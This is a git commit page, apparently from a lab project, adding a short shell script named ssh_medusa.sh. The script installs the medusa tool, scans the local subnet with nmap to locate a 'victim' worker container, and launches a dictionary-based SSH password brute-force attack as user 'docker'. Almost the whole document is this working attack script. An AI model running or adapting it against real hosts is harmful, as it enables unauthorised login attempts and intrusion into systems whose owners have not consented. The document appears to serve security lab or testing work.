Browse Source

Add 'SSH_brute_force/ssh_medusa.sh'

master
petroskaridis 4 years ago
parent
commit
7bc9d3c7aa
  1. 8
      SSH_brute_force/ssh_medusa.sh

8
SSH_brute_force/ssh_medusa.sh

@ -0,0 +1,8 @@
sudo apt update
sudo apt upgrade -y
sudo apt install medusa -y
echo "Finding victim worker IP"
netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/')
worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()')
echo "Starting ssh brute force attack with medusa"
medusa -u docker -P dictionary.txt -h $worker1 -M ssh
Loading…
Cancel
Save